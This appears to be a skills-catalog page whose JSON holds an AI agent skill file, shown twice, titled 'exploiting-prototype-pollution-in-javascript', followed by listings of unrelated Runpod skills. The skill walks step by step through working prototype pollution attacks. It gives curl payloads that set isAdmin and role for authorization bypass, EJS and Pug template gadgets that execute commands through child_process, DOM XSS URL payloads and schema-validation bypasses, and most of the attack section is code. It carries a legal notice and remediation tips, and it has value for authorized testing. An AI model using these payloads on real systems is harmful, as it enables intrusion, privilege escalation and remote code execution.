[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A6Y5722FAPR41SNG5K9VTN":3,"skill-same:01M7A6Y5722FAPR41SNG5K9VTN":86},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":14,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":54,"updatedAt":55,"install":56,"resources":69},"01M7A6Y5722FAPR41SNG5K9VTN","exploiting-prototype-pollution-in-javascript",null,"Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript\u002FNode.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-prototype-pollution-in-javascript\ndescription: Detects and exploits JavaScript prototype pollution vulnerabilities\n  in client-side and server-side (Node.js) applications to achieve XSS, RCE, or\n  authentication bypass through property injection into Object.prototype. Use when\n  assessing a JavaScript\u002FNode.js application for prototype pollution, especially\n  where a merge, clone, or extend function accepts user-controlled keys.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- prototype-pollution\n- javascript\n- node-js\n- xss\n- rce\n- property-injection\n- dom-xss\n- server-side-pollution\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n","# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43},[26,27,28,29,30,31,32,33],"prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution","mahipal","cybersecurity","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47,48],"T1190","T1059.007","T1505.003","T1083","T1055","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":57,"prompt":67,"zipAvailable":68},[58,61,64],{"tool":59,"command":60},"npx","npx skills add NeelakshSaxena\u002FVayu --skill exploiting-prototype-pollution-in-javascript",{"tool":62,"command":63},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill exploiting-prototype-pollution-in-javascript",{"tool":65,"command":66},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill exploiting-prototype-pollution-in-javascript","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",true,[70,74,80],{"path":71,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":75,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"references\u002Fapi-reference.md","REFERENCE","参考文档",2477,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Freferences\u002Fapi-reference.md",{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"scripts\u002Fagent.py","SCRIPT","脚本",5642,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Fscripts\u002Fagent.py",[87,94,101,108,115,122],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":114,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]